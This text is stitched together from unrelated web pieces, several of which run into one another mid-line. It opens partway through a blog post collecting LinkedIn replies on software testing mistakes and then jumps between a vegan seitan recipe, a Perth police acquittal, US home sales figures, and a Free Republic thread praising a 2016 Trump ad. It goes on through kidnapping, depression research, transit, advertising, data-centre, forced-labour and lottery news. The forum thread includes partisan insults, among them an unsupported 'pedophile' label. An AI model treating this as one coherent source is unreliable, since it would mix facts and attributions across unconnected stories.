2. Code checkin must be allowed only after all probablem scenarios is tested and passed in unit test. I agree but there will be times that an emergency fix needs to be put in. Also, I don’t think you can say no checkins allowed since there are pieces of code that are not tied directly to others. I think the response here should be that the code should not be deploed/deliverd to the test group until until testing has been completed
3. Some tools are there that can anticipate runtime errors better than a human reader/tester. All modules under current release must be subjected to such tools. code checkin must be allowed only after this. This would be more up to the company since not all tools are allowed within an organizations framework.
All three points are common sense. But some projects these are not followed strictly due to time constraint or resource constraint. Example of tool as in 3 is findbugs for eclipse. I am sure such tools exists for other platforms. Yes, there are tools out there but are not always allowed due to security.
Response from Geoff Feldman on LinkedIn:
1. Time and repetition is not relevant. Functions and boundary conditions on the functions including preserved state as it affects other functions is key. This occurs everywhere and all teams are impacted by this
2. Testers looking busy and unable to explain their coverage is a huge red flag. The bigger flag is when the defects keep showing up in production
3. Methodology is key. So is a testing process that begins with repeatable, maintained developer unit test. Agree, bigger issue I see is that not everyone agrees on which process/methodology is going to be followed. Everyone needs to agree and if it needs to be changed everyone should be made aware of the change.
Response from Rick Kiessig on LinkedIn:
1. Unit tests written by the same person that wrote the code, because they often use the same faulty logic in their tests as in the code itself. Solution: have some unit tests written by other developers or QA. Great solution
2. Not testing for quality: including performance, scalability and security I think that all applications should be tested for these items.
3. Focusing on cases that are really “self-testing,” rather than on the much-less-visible corner cases. Agree
4. Failing to include code coverage measurements and targets in unit test guidelines. Agree
5. Not following a coherent testing strategy. Agree, consistency is key.
6. Testing low-level components only, and forgetting to test the system as a whole. This is not something a test team should forget, if this happens I hope you bring it up right away to get it corrected.
Response from Bill Rinko-Gay on LinkedIn:
1. Not involving the QA group at the requirements phase. QA should be reviewing and commenting on requirements and design. Agree
2. Writing tests to the implementation rather than the requirements. This not only leads to trash as the implementation changes, but validates the wrong thing. Developers validate the implementation. Testers should validate the requirements. Testers should validate that the implementation worked by executing smoke tests and then running the test cases that are based on the requirements
3. Automating only after the software is stable. The bulk of passed test cases should be automated. Disagree, you cannot automate everything. Just because a test case passed doesn’t mean it should be automated. What should happen is when pieces of functionality are stable and being repeated in testing then they should be automated.
4. Automation experts should write code that can handle instability of early builds. Automation experts should have development expertise, not just record/playback. Use humans for inventing new tests, not running old ones. Partially agree. Yes, automation experts should have more than just record & playback expertise but if the code is not stable they cannot automate it. You automate the tests that you know what the expected result will be not ones that you think you know.
Response from Jonathan Ross on LinkedIn:
1. The tester should have an appreciation of the real world use cases of the deliverable being tested. Agree
2. If something feels wrong it is probably a bug of some nature. This is not always the case, there has been times that I thought something was wrong but when I went back to the requirements it was correct and not a bug/defect. If it feels wrong check the documentation before writing up the bug/defect.
3. Don’t wait until the end of the dev cycle to test. Small test cycles for small changes. Everyone on the project should agree to using an agile/iterative approach for this.
4. Not maintaining test documentation and scripts/ tools. This is huge especially since test teams are usually on multiple projects so up to date documentation is very important to keep track of what has been done, why, and what is left to be done.
You can make sure of this and other common errors with good planning, close work with R&D / Product and a highly motivated QA team who are kept passionate about their work.
Response from Jim Hanlon on LinkedIn:
1. The most common mistake in the testing process is underestimating the number of test cases required to adequately test the Application Under Test. This could be due to the requirements constantly changing and/or the test team is not involved in the requirements phase.
2. A corollary to the first is underestimating the time required to test the AUT.
3. No automated testing strategy: generation/execution/reporting. Agree
4. Some larger organizational issues: poor coordination with the requirements process; poor coordination with the debug/fixpack/build/release process. When this happens someone should step up and bring this up as an issue so it can be resolved
Response from Mike Sax on LinkedIn:
1. Not finding bugs doesn’t mean that they’re not there. It’s easy to start a testing effort seeing a small volume of defects and think “wow, it must be pretty clean!” Don’t wait until the mid point of the effort to get on top of the testing process to ensure that testers are effectively executing scripts and workflows, as well as evaluating the scripts and process to ensure an effective test cycle. Agree
2. Communication: Testers and developers who will be fixing bugs should be in close communication with each other. IM, phone, in person rather than email that can get lost in the shuffle. Too often, bugs fall into a “researching” status for days while emails shuffle back and forth to answer a question that could possibly have been addressed quickly in a face to face chat. Agree, should have touchpoint meetings as well to help resolve this
3. Effectively describing bugs: Especially for non QA professionals participating in testing. They need to be educated prior to beginning testing on the expected standards for creating defect records to ensure that as much information is relayed to the developers as possible (detailed error messages, screenshots, steps to reproduce, etc). Capturing all of this information initially cuts down on the need for back and forth communication between the developer and tester. Agree, all bugs should have detailed steps & screenshots so they can be recreated
4. Managing scope through triage: Effective defect triage will help to minimize the presence of enhancement requests (either intentional or inadvertent) that make it into a developer’s queue and impacts the timeline to complete defect remediation rather than flowing into the project’s change management process for new or changed functionality. Agree
Response from Walter Tyree on LinkedIn:
Testing on a hardware/software configuration that is not representative of what the users have. The computers that developers and testers have are quite often not what the user community will be running. Having a test lab (and forcing people to test in the lab) of machines that are configured for all of the scenarios within an Enterprise can save lots of time (Ghosting can really help here). Agree, testing should be completed on a variety of different configurations to make sure end users can use the application being delivered.
What common testing mistakes do you see? How do you resolve theses issues so they don’t keep happening? What are your thoughts on the responses that are noted in this blog? Do you agree/disagree?Friends! I am overwhelmed! Yesterday I asked you to help me raise $730 for Woodstock Farm Animal Sanctuary — a way to celebrate my 730 days (2 years) of living a vegan lifestyle. As of this morning we have raised $430!
We are over half way there! And, guess what? A supporter of WFAS has pledged to match half of what we raise. Thank you, one and all, for any size donation!
Now, a weekend cooking tale. Sunday morning I pulled my veggie scrap bag out of the freezer. The one-gallon bag was ready to burst! As it thawed on the counter I wondered how I should season my homemade vegetable broth this week. I sent out a message on Facebook and Twitter for ideas. The overwhelming winner? Cinnamon! (Thanks, Elisa!)
I loved the idea of simmering the veggies in cinnamon and knew I needed to add a few more spices in the mix. Cumin came to mind. Then I spied fresh ginger root on the counter. YES!
My pressure cooker vegetable broth this week:
8.5 cups filtered water
1 gallon bag of frozen vegetable scraps (lettuce, spinach, celery, tomatoes, mushroom stems, red and yellow onion, garlic, red and green peppers (and seeds), and asparagus)
1 teaspoon cinnamon
1 teaspoon cumin
Half inch fresh ginger, coarsely chopped
Pinch of iodized sea salt (seriously, just a pinch, consider this a low-sodium stock)
I brought the veggies to pressure, then cooked at pressure for 10 minutes. I allowed for natural release and then strained the broth through a cheesecloth.
Delicious! This made over 12 cups of vegetable broth! Most often I store about four cups of stock in a mason jar in the refrigerator to dip into throughout the week; I also freeze a good amount in freezer bags. This week there wasn’t as much to store because as the aroma of cinnamon, ginger and cumin filled the house I had an idea!
I decided that the time had come. With inspiration from seitan recipes by Elise, Christy and Candle 79, it was time for me to try my own hand at creating a “wheat meat” dish, reflecting my own unique taste.
Cinnamon-Ginger Seitan & Veggies in Coconut Gravy by JL goes Vegan: Food & Fitness with a side of Kale Keywords: stove top, pressure cooker, entrée, vegan, seitan Ingredients For the seitan 1.5 cups vital wheat gluten
1/4 cup garbanzo bean flour
2 tablespoons nutritional yeast
1/2 teaspoon each ground ginger, cinnamon and cumin
1/2 teaspoon garlic powder
1/2 teaspoon fresh ground black pepper
1 cup vegetable broth (I used homemade, which was seasoned with ginger, cinnamon and cumin)
1 teaspoon avocado oil
1 teaspoon blackstrap molasses
2 tablespoons Bragg’s Liquid Aminos (or soy sauce)
Cooking broth: 3 cups water, 3 cups broth (yep, the seasoned homemade broth!), and 1/4 cup low-sodium soy sauce For the veggies 1/2 cup vegetable broth
Half a yellow onion, cut into half-moon slices
2 cloves garlic, minced
1/2 teaspoon fresh ginger, grated
Fresh ground black pepper
8 ounces baby bella mushrooms, sliced
1 cup unsweetened coconut milk, room temperature (I used So Delicious)
2.5 teaspoons arrowroot
Two tomatoes, diced
1/2 teaspoon ground cinnamon
Pinch of cumin
2 handfuls kale, chopped
Sea salt, to taste (I used about half a teaspoon) Instructions For the seitan Combine the first six ingredients (dry) in a medium bowl (or KitchenAid bowl).
Whisk together the wet ingredients (NOT the cooking broth) in a small bowl.
Add wet to dry and stir until well combined.
Knead for five minutes (I highly recommend using the dough hook of a Kitchen aid, or similar appliance).
Pull dough apart to form six cutlets. Set aside.
Bring broth ingredients to a boil in the uncovered pressure cooker and add the cutlets to the boiling water. Lock the pressure cooker cover in place.
Bring to pressure, cook at low pressure for 30 minutes.
Remove from heat and allow for a natural release.
Remove cutlets from the broth to cool before handling or serving. Store cutlets, in the cooking broth, in an airtight container in the refrigerator or in a sturdy bag for the freezer. For the veggies Heat half a cup of vegetable stock in a large skillet. Add onion, garlic, ginger and pepper and saute for a few minutes Add mushrooms and saute for five minutes. In a small bowl (or large measuring cup) whisk arrowroot in coconut milk, making sure to whisk away clumps. Add coconut milk to the skillet and bring to a boil to make a medium-thick coconut gravy. Add tomatoes, cinnamon, and cumin and bring back to a boil. Add kale, cover the skillet and reduce the heat to simmer for 10 minutes. Uncover the skillet, bring the heat back to medium high for one last quick boil. Taste and add sea salt, if desired. Serve veggies in a bowl, add thinly sliced seitan and spoon the coconut gravy from the vegetables over the top. Powered by Recipage
A few notes to the recipe:
I opted to make smaller cutlets and place them directly in the water (versus wrapping in cheesecloth) because I thought this would allow for a consistent texture throughout the entire cutlet and that it would be more moist (I was right). Moist — but not too moist, i.e. not done enough — is important because seitan can dry out when stored and be too tough. Not this seitan!
Blackstrap molasses, you ask? The smell of cinnamon, cumin and ginger was sweet. I love sweet and savory but I knew that aroma would not translate to an actual sweet taste. Adding just a small amount of molasses to the seitan did the trick.
I used a nutritional yeast powder (versus flakes) that was fortified with vitamins (some people assume all nutritional yeast is a source of B-12. Not so! Look for “fortified” on the label and make sure B-12 is listed).
I feel really proud of this recipe.
I followed my intuition and combined foods and spices that just made sense to me.
And it worked!A Perth policeman accused of grabbing a homeless man by the throat during a strip search and "slamming" him to the ground has been acquitted.
Sergeant Lachlan Nairn Boath went on trial last month in the Perth Magistrates Court accused of assaulting Clinton Nicholson in June 2012 at the Perth watch house, where he was the officer in charge.
Mr Nicholson testified he was a homeless drug user at the time and admitted being "a little mouthy" to police before he was "charged" at by Boath and left gasping for breath.
Magistrate Geoff Lawrence said the prosecution's case was "found wanting" and failed to prove Sgt Boath's guilt beyond reasonable doubt.
It was established the detainee had been "rushed" and his breathing had been impinged, but how the constraint occurred had not been established.
Sgt Boath said the case had put him under intense pressure and he felt relieved by the magistrate's decision.
He said the charge should not have been laid in the first place.
"When you're attempting to do your job and this is the reward that you get for it, I'm sure you can imagine it can be quite stressful - makes you wonder whether it's worth the efforts," he told reporters outside court on Friday.
"I think I'm going to have to reassess that after today's result.
"When you're being brought to task on use of force issues, it certainly makes you think twice about utilising use of force... options when you think this is a likely result."
Sgt Boath said he had questioned the use of restraint several times since the incident and had been left with a shoulder injury because he held back while dealing with a detainee on one occasion.
WA Police Union senior vice president Brandon Shortland said it was another example of a Crime and Corruption prosecution against a police officer failing and he hoped the new leadership of former Supreme Court judge John McKechnie meant the CCC would pursue more serious matters.
"This man had done nothing wrong - he was simply doing his job as a police officer, which is a difficult and dangerous job under very trying circumstances," he said.
Sgt Boath, who had been on full duties throughout, had faced "minor" internal disciplinary action "for policy reasons", Mr Shortland said.
The prosecution was ordered to pay costs of $16,368.
© AAP 2019Home sales are rising, but prices won't follow quickly in many markets.
Sales of existing homes increased 4.3% in January from December to a seasonally adjusted annual rate of 4.57 million, the National Association of Realtors reported Wednesday.
While still weak, that was the highest level in 20 months, the third gain in four months and a 0.7% increase over January 2011.
A housing market turnaround "may finally be starting," says Gus Faucher, senior economist at PNC Bank, noting that home builder confidence and new home construction are also up.
Falling inventories may be even more important than stronger sales, says Trulia economist Jed Kolko. In January, the unsold listed inventory was down almost 21% from a year earlier, NAR says.
Home sales
As demand tightens, prices typically rise. Yet Kolko and others say that may be far off in many markets.
Almost 3.9 million homeowners are in foreclosure or more than 90 days late on their mortgages, says LPS Applied Analytics.
National Mortgage Rates
As those homes come to market, they'll "keep prices down even as sales pick up and the economy improves," Kolko says.
Getting rid of the excess supply will be a "drawn-out affair" that will take at least two more years, says IHS Global Insight economist Patrick Newport.
IHS predicts home prices will continue to fall this year on a national basis.
Markets without high numbers of foreclosures will see prices stabilize, if they haven't already, Newport says.
Investors, who are buying homes to turn into rentals, drove 23% of January sales, NAR says.
In some markets, such as Phoenix and Las Vegas, demand for distressed homes is especially strong, says Lawrence Yun, NAR chief economist.
He says the government's plan to sell foreclosed homes it owns to investors to turn into rentals may not be needed in some markets: "If the market is working, maybe it should just be left alone."
NAR revised down its December home sales rate to a pace of 4.4 million units. That means sales fell 0.5% instead of rising 5%.
The December numbers were adjusted more than normal as part of an annual recalculation of seasonal effects, such as stronger winter sales in recent years because investor-buyers are active all year.Skip to comments.
New Trump Ad: "Unfit" (Decades of Lies...Weiner...Chilling!)
Trump ^ | 3 Nov 16 | Trump Campaign
Posted on by xzins
https://youtu.be/k-n102EAYPA
Forward to all you know. Especially swing states Florida, MI, PA, WI, NV, CO, NH, VA, OH, etc.
TOPICS:
Extended News
News/Current Events
KEYWORDS:
ads
clinton
corruption
crookedhillary
hillary
lies
trump
trump2016
unfit
weiner
To: xzins
Kill shot...unless you’re a Hillary Delusional.
To: Stentor
I agree. Maybe one of the best I’ve seen this season
by 3 posted onby xzins ( Free Republic Gives YOU a voice heard around the globe. Support the Freepathon!)
To: xzins
Ouch. That’s gonna leave a mark.
by 4 posted onby Uncle Miltie (Hillary is PARANOID. Give her more reasons to go bonkers.)
To: Stentor
unless youre a Hillary Delusional.
Like 42% of the population
To: xzins
Ouch.... that one should leave a mark.... somewhere.
by 6 posted onby Qiviut (In Islam you have to die for Allah. The God I worship died for me. [Franklin Graham])
To: xzins
I saw another variation of this one last night running during the final game of the World Series. This one looks better or worse for Hellary. :)
To: xzins
And when Melania was speaking a few minutes ago, she used her status as Mother to talk about teaching kids values/stop bullying and that it's not OK for a 12 year old girl to be attacked...
by 8 posted onby trebb (Where in the the hell has my country gone?)
To: Buckeye McFrog
Like 42% of the population How about a cage match? The Deplorables vs The Delusionals. I fear the long earring wearing NEA retired lesbians with the short haircuts.
To: Red Steel
Imagine where we would be with Candidate Rubio, or Candidate Kasich, or Canadidate Bush. Any one of them would be giving her a free pass and she’d be up 10 points. Trump was the only one with the guts to take the fight to Clinton and the Democrats, and he had to do it with the media hanging on one of his legs and the GOP-e on the other. Trump is going to become an iconic figure in the history of America.
To: xzins
That’s a GREAT ad. Should run it nonstop between now and Monday night!
by 11 posted onby pgkdan (The Silent Majority Stands With TRUMP!)
To: littleharbour
Imagine where we would be with Candidate Rubio, or Candidate Kasich, or Canadidate Bush. Any one of them would be giving her a free pass and shed be up 10 points. Do you remember McCain refusing to let his supporters use Barry's middle name, Hussein? He told Sarah Palin to be nice. He closed his campaign down because the banks had a crisis. Here Trump is the Thursday before, and his campaign is firing on all cylinders at top speed. Nothing like the losers of the past. He wants to win. This man fights.
by 12 posted onby xzins ( Free Republic Gives YOU a voice heard around the globe. Support the Freepathon!)
To: xzins
WOW, awesome ad!
by 13 posted onby smileyface (Things looking up in blue PA)
To: xzins
A great ad.
by 14 posted onby right way right (May we remain sober over mere men, for God really is our one and only true hope.)
To: pgkdan
I agree. Also, link makes it easy to spread around.
by 15 posted onby xzins ( Free Republic Gives YOU a voice heard around the globe. Support the Freepathon!)
To: littleharbour
Imagine where we would be with Candidate Rubio, or Candidate Kasich, or Canadidate Bush. Any one of them would be giving her a free pass and shed be up 10 points. No kidding! I get shivers down my spine just thinking about it! Trump was the ONLY candidate who would fight her. His nomination is Providential!
by 16 posted onby pgkdan (The Silent Majority Stands With TRUMP!)
To: xzins
Go get ‘em, Mr. Trump! #DrainTheSwamp
To: xzins; All
The word "pedophile" should have been suffixed after the word, "Weiner." Better yet, hyphenate the two: "Weiner-Pedophile." Watch the ad again with this in mind. Ten times more powerful.
by 18 posted onby Cobra64 (Common sense isn't common any more.)
To: xzins
Home Run!
GO TRUMP!
by 19 posted onby hoosiermama (ÂChristian faith is not the past but the present and the future. Make it stronger. "DJT)
To: xzins
YouTube’s editorial comment “This video is unlisted. Be considerate and think twice before sharing.”
by 20 posted onby HokieMom (Pacepa : Can the U.S. afford a president who can't recognize anti-Americanism?)
Disclaimer: Opinions posted on Free Republic are those of the individual posters and do not necessarily represent the opinion of Free Republic or its management. All materials posted herein are protected by copyright law and the exemption for fair use of copyrighted works.
FreeRepublic, LLC, PO BOX 9771, FRESNO, CA 93794
FreeRepublic.com is powered by software copyright 2000-2008 John RobinsonA father and son heading to shul in Venezuela on Shabbos morning were abducted near the local Beis Chabad last Shabbos. There were released after a ransom was paid.
The two were heading to shul Shabbos morning, to the Beis Chabad. Armed men approached them and kidnapped them. Their disappearance was soon evident to others and later in the day it was learned that they had been abducted. The kidnappers contacted a brother and father and informed them of their ransom demands.
It is explained another son, 15, did not head to shul with his father and brother and was spared the ordeal. He and his 8-year-old sister were sent to another family until the father and his son were released. A negotiator arranged their release.
Venezuela is known for kidnapping for profit, and during recent years, Israelis are especially fearful. It is reported in many or possibly most kidnaping cases, the abductors take the victims to an ATM and compel them to withdraw a sum of money.
(YWN – Israel Desk, Jerusalem)Men with the worst depression might also be the least likely to seek help
Men the highest risk of persistent depression might also be the least likely to seek help to combat their symptoms.
Psychology researchers in Australia conducted a longitudinal study of 125 Australian men (ages 18 to 67). They found that many men did not consider experiencing depression for 15 weeks as enough of a reason to seek help. These men reported more barriers to seeking treatment. Men with long-standing depression were more likely agree with statements such as “I would think less of myself for needing help”, “The problem wouldn’t seem worth getting help for”, “I wouldn’t know what sort of help is available”, “This problem is embarrassing”, and “I don’t like to talk about feelings.”
The findings were published in the peer-reviewed Journal of Health Psychology on April 1, 2017.
PsyPost interviewed the study’s corresponding author, Simon M. Rice of the University of Melbourne and Australian Catholic University. Read his responses below:
PsyPost: Why were you interested in this topic?
Rice: I’m a clinical psychologist, and have seen time and time again the impact of men seeking mental health help too late in the course of illness. This is also borne out in suicide statistics, where globally, men are at much higher risk of suicide than are women. My broad interest is in us better identifying men in distress (by using more appropriate and sensitive screening tools), and then better refining our services to support them. The mental health field has a long way to go in improving the acceptability of our interventions for men. Some other related work is here:
https://www.ncbi.nlm.nih.gov/pubmed/24051100
https://www.ncbi.nlm.nih.gov/pubmed/24980475
https://www.ncbi.nlm.nih.gov/pubmed/28132568
What should the average person take away from your study?
Those men who were at the highest risk of ongoing depressive symptoms also held the most negative attitudes towards help seeking for these symptoms. This means that those who most need support are likely to have to overcome a greater number of internal and external barriers – which is a real problem. We need to do more work to reduce the barriers that men experience, and normalise and encourage help seeking as an adaptive things to do.
Are there any major caveats? What questions still need to be addressed?
There are still big research gaps when it comes to men’s mental health. We need a better understanding of whether men may show difference symptom patterns (which may reduce the likelihood of them being detected in primary care) and we need to learn more about the kinds of services that men want, and then co-design and build them with men as partners.
Is there anything else you would like to add?
This is an emerging and exciting research field, but we need more researchers and clinicians to become involved. It wouldn’t take too much focused research to shift policy, which may start to have a big on-the-ground impact for men. Ensuring improved mental health for men is also good for our communities more broadly, and may impact on reducing rates of problematic substance use and related harms, problems managing anger and even domestic violence. There is much work to be done in this space.
The study, “Men’s perceived barriers to help seeking for depression: Longitudinal findings relative to symptom onset and duration“, was also co-authored by Helen M. Aucote, Alexandra G. Parker, Mario Alvarez-Jimenez, Kate M. Filia and G. Paul Amminger.This is how crazy-making Seattle traffic has become
6:30 a.m. That's how early you better show up to a park and ride lot to land a spot these days. As traffic worsens in King and Snohomish counties, drivers are avoiding the gridlocked highways by driving to a free park and ride lot where they pick up the bus or train. As such, those park and rides are filling up at increasingly early hours. Transit agencies are now putting their foot down and introducing parking permits. The problem is that too many commuters need the parking – more than any lot could reasonably hold. People get up early to land a spot, only to see they should have gotten up earlier. When people fail to get a spot, they often drive to work.
Sponsor
“We recommend you go there at 6:30 a.m.,” said Chris O’Clair, manager of strategy at King County Metro. “That is when we are seeing a lot of the fill of our system. We see a lot of our facilities filling up before 7, 7:30 in the morning.” Same goes for park and rides in Snohomish County. “If you get there after 7 o’clock and you’re looking for a spot, you’re going to be circulating for a while,” said Roland Behee, strategic planning manager at Community Transit. It’s a terrible twist for transit agencies, which built free parking lots years ago to lure commuters out of their cars. Now commuters are looking for an escape from monstrous highway delays. Transit agencies say the answer isn't more park and rides. According to Behee, surface lot costs between $20,000 and $30,000 per parking space and upward of $80,000 per space to build structured parking. Agencies would rather spend that money on buses to move more commuters from their neighborhoods without stepping into a car.
SponsorGoogle has announced the expansion of Android One into yet another country. Now residents of Thailand will be able to pick up the i-mobile iQ II for 4,444 TBH (that's about $127). The specs are somewhat modest, but you get the latest and greatest version of Android and updates from Google.
The iQ II is one of the slightly nicer One devices we've been seeing lately. It has a 5-inch 720p screen, 16GB of storage (and SD card slot), 1GB of RAM, and a Snapdragon 410 processor. There's an 8MP camera on the back and a 2MP up front. The specs claim 4G support, but I suspect that means HSPA+ (I am basing this on Google Translate).
As with all Android One phones, the iQ II has stock Android just as Google intended. It's launching completely up to date with Android 5.1.1. It will get updates from Mountain View in the future as well. It's available for purchase in Thailand today.An advertisement for a product promising to increase a woman's breast has triggered a flurry of comments from users, many of whom said the advertisement was degrading to women and akin to pornography. ― Picture from D’Herbs Healthy Sdn Bhd
KUALA LUMPUR, Dec 8 ― An advertisement for a product promising to increase a woman's breast size from a “B” to “D” cup has earned local beauty and health firm D'Herbs Holdings vitriol from Internet users who panned the promotion for being discriminatory and lewd.
The clip posted last week on the MuahSetapak.com Facebook page has since been shared over 6,500 times, liked by over 2,700 people, and triggered a flurry of comments from users, many of whom said the advertisement was degrading to women and akin to pornography.
Some users, however, questioned the authenticity of the video.
In response, Liana Rosli, the woman who played the wife who consumes the breast enhancement powder in the advertisement, confirmed that it was created to promote “Payu Up Collagen” by D'Herbs and that she was paid RM400 for the role.
Liana, who is the daughter of another known local actress Normah Damanhuri, said that she had not expected that the video would go viral on social media or receive such criticism.
“I was aware we were shooting for this product. But I did not expect it would go viral the way it did.
“At this time, I cannot comment further as I do not want more people to get sensitive about this issue,” she said when contacted by Malay Mail Online's ProjekMMO team.
“But what I can state is that Datuk said the video was meant to 'viralkan' his product... so that is enough, I cannot explain further,” added Liana.
Iklan nak bagi tetek beso dari D'HERBS terlajak laris macam KimK. Dah serupa promo movie porn BangBros dah.. Posted by MuahSetapak.com on Friday, December 4, 2015
The advertisement was first uploaded several days ago on the personal Facebook page of Datuk Aliff Syukri, the founder of D'Herbs, but was later taken down following criticism by his followers.
It was uploaded again last Friday, however, on the MuahSetapak.com page and has since been viewed over 680,000 times.
The 2-minute-40-second advertisement shows a male actor looking longingly at a pair of pink balloons and then again at a two melons until his wife, depicted here as flat, white cardboard piece, shakes him out of his stupor.
The video later shows the “cardboard” wife consuming D'Herb's “Payu Up Collagen” and transforming into a well-endowed woman who triggers the man's erection.
“Wrong on so many levels,” Facebook user Jeffri Nasir said in his comment, which has been liked nearly 2,000 times.
“[The advertisement] insults women/wives by depicting her as a cardboard, when small breasts are natural and due to genetics. It sells a herbal product that is not clear about its contents and has not been medically-proven to be a breast enlargement product.
“It uses a transgender model also known as'maknyah' who actually uses hormone pills to increase her breast size, hormones that real women already have. It is grossly indecent as an advertisement for the general public.
“It also depicts the man as a stupid husband who has nothing else better to do with his time than daydream about objects resembling women's breasts,” he added in the lengthy post.
In another comment, Facebook user Jebat Tuah said he prefers a woman with a regular-sized bosom.
“I don't look at a person’s body, I want a heart that gives love sincerely,” he said.
“And not all men spend 24 hours in a day, seven days a week thinking about breasts and women's buttocks. I think about games, work, what my parents ate today and whether they are in good health, about bills to pay.
“I don't have the time to think about whether a woman has large assets or not,” the user added.
Faced with criticism, Aliff has since taken to Instagram to explain that the advertisement was a mere parody that was recorded in a contest with other applicants.
He also apologised to those who were involved in its production.
“To those who joined the parody/advertisement contest by D'Herbs, I apologise for touching on the sensitivities of others. I, on behalf of those involved, apologise,” he said on his personal Instagram page @aliffsyukriterlajaklaris.
kepada yg join contest perodi/iklan dherbs mohon jaga sensitiviti masyakat���� sy on behalf peserta yg joint contest memohon maaf.. A photo posted by abang terlajak laris (@aliffsyukriterlajaklaris) on Dec 5, 2015 at 3:54am PST
At the time of writing, ProjekMMO has not been able to independently verify if the parody advertisement contest exists and is trying to get in touch with Aliff."I am like all leftists, defender of the people, but fascinated by the stars" - Slavoj Zizek
Slavoj Zizek has recently been interviewed by Télérama, a French magazine on the occasion of his new book in French: La Nouvelle L |
frank leeno Blocked Unblock Follow Following Jun 11, 2017
This course teaches students how to build a polished platform game in GameMaker Studio 1.4. Students will learn to program in GameMaker Studio’s scripting language, GameMaker Language (GML).
If you are interested in game development, programming, level design, platform games, GameMaker, or indie game creation, this is the course for you.
It will take roughly 10 hours to complete this course.
The course is structured in a way that introduces the different concepts of GameMaker Studio one at a time. All of the lectures are video lectures except the very first lecture which contains a download link for the resources you will need in this course.
This course will build and strengthen your programming and game development skills. By the end of this course, you will be ready to tackle a variety of different video game projects using GameMaker Studio.
Because this course is for beginners, many people have asked me if it is good for children. I would recommend this course for children if they are at least 14 years old or if they already have experience in programming and enjoy math.
You must have a Windows operating system in order to take this course.
Become a game maker today.Germany suspends compulsory military service
THIS month Germany suspended military conscription and its civilian counterpart, community service. After 50 years and the service of 8.4m young men, Germany is set to shrink the Bundeswehr from 220,000 to a maximum of 185,000 troops. But conscription still remains part of the constitution and available in the case of an emergency. Similarly in America, while "the draft" ended in 1973, laws require men to register with the Selective Service System within 30 days of their 18th birthday. This provides a deep pool of manpower in the event of a national emergency. Where compulsory military service is enforced in Europe it ranges from 260 days (in Switzerland), to 26 months (in Cyprus). As the map below shows, conscription is most popular in Asia and Africa.We now know what Facebook is up to in Sub-Zero – the mini data center it's building right beside its 330,000-square-foot Prineville, Oregon, facility: It's reinventing the way it does emergency backup.
The plan is to use the building to house a brand-new type of low-power deep-storage device that Facebook engineers will cook up over the next six to nine months. They're designing a hard-disk storage server that powers off when it's not in use, says Tom Furlong, vice president of site operations at Facebook. "It's going to sit in a dedicated building that is optimized to support this device that we don't need to access very often."
What will this building be like? Boxy and quiet, with rows of low-powered machines clicking on and off, says Furlong.
The company disclosed the existence of the the new building in recently filed planning permits. In the permits, Facebook called the building Sub-Zero, though Furlong says he's not using that name in public (the Sub-Zero trademark is already taken by a line of high-end refrigerators, thank you very much).
In addition to the 62,000-square-foot Sub-Zero building, Facebook is in the process of building a second 330,000-square-foot data center in Prineville. Just down the road from the Facebook facility, Apple is constructing its own dataplex, this one with 500,000 square feet of server-rack space.
Sub-Zero will do the kind of large-scale deep archiving that some companies still achieve with tape backup.
Facebook doesn't use tape backups – they're too kludgy and expensive for the social media company. But it does save two backup copies of all of its data: one that is there to be used whenever there's a problem on the live server, and a second copy for emergency use only.
"You have one that is pretty readily accessible, and you have one that does not need to be accessed except in the event of a true restore," says Furlong.
So Facebook wants to power down these secondary backup storage drives until they're needed.
They're only in the early stages of design now – the team has about six to nine months to work out how it will build the Sub-Zero storage servers and tweak the software on its network to work with them.
Apple's Tactical Data Center. Photo: Garrett Fisher/Wired
They hope to seriously cut power consumption with Sub-Zero. Right now a rack of Facebook servers burns about 4.5 kilowatts. In the Sub-Zero data center, the goal is to drop this to around 1.5 kW.
Facebook wants to add a second Sub-Zero-type storage facility next to its Forest City, North Carolina, data center, Furlong says.
Facebook isn't the only company adding smaller appendixes to its massive data centers. Apple recently tacked on a 23,000-square-foot building next to its Maiden, North Carolina, building. Nobody but Apple knows what the company is doing in what it calls its "tactical data center." Some think that it might be a place for partners to come by and plug into Apple's networks without being tainted by their mind-blowing computing secrets.
Could the tactical data center be Apple's own version of a cold-storage facility? Perhaps. Facebook has opened up its data center and server designs but Apple is notoriously secretive about its own operations.
Furlong hasn't heard of anyone else building a cold storage facility like Facebook's, but that doesn't mean it isn't happening. "I think we're pretty smart," he says, "but I don't necessarily give us a monopoly on having identified this as a problem."This article is over 3 years old
Five charged in Mexico City with enslaving woman at dry-cleaning shop
Mexico City authorities say a woman was chained to an ironing station at a dry-cleaning shop and forced to work in slave-like conditions for two years.
City prosecutors said the woman managed to escape and alerted police, who raided the shop.
Four women and one man who operated the shop face human trafficking charges for subjecting the 22-year-old woman to forced labour.
The 'invisible' victims of Edomex, Mexico's most dangerous place to be female Read more
Prosecutors said the woman said the owners of the shop chained her by the neck or the waist to a metal frame, and beat her with a wrench, a rope and other objects, or burned her with an iron if she stopped working.
“When she leaned on the ironing board a little to rest, she was beaten,” said prosecutor Juana Camila Bautista. “When the wounds healed over, they scraped the scabs off, and they had her like this for two years.”
The woman’s name was not released. She said she asked for a job at the shop and was given a place to live and was initially treated well.
But the owners accused her of stealing, and thereafter forced her to work with no pay. She said she received one small meal a day.
“She chewed the plastic they used to cover the garments … to stop the hunger pangs,” Bautista said.
The young woman eventually escaped, but is covered with scars and suffers severe and potentially life-threatening anaemia. Authorities placed her at a shelter for women at risk of violence.Benoît Giroux was shaking when a colleague told him that their group of 20 co-workers won a Canada-wide Lotto Max jackpot of $55 million.
The new millionaires work the night shift together at the Rona warehouse in South Shore Boucherville. Every week, employees buy group lottery tickets in hopes of striking gold.
“My heart almost popped out,” Giroux said. “It was unbelievable.”
Nineteen of the participants received their share of the jackpot on Monday. Individual cheques came out to $2.75 million. Many were still too shocked to speak while others could not stop grinning.
“I had goosebumps,” Claudine Forget said. “I called my parents.”
Dominic Lord found out that their group had won at a Petro-Canada service station in Longueuil, which will receive a $550,000 prize. He handed the cashier the winning ticket without knowing he was about to become a millionaire.
“The cashier gave me a weird look and said ‘I’ve never seen this,’ ” said Lord, who screamed a loud ‘Yes!’ in the store upon realizing he had won.
The $55-million sum is the largest amount of money that Loto-Québec has ever paid out. Stunned winners stared at their individual cheques upon receiving them from president and CEO Gérard Bibeau.
Giroux, who has been buying group tickets for three years, plans to use the money on practical home renovations.
“I will change all of my windows and doors in my house,” Giroux said. “I have some work to do on my house.”
Many of the winners said they would continue to work, but that the money would be spent in different ways.
“I know the amount and how much I can do with it, but my only intention for right now is to open university bank accounts for my kids,” said Christian Chenette, who is the father of three young children.
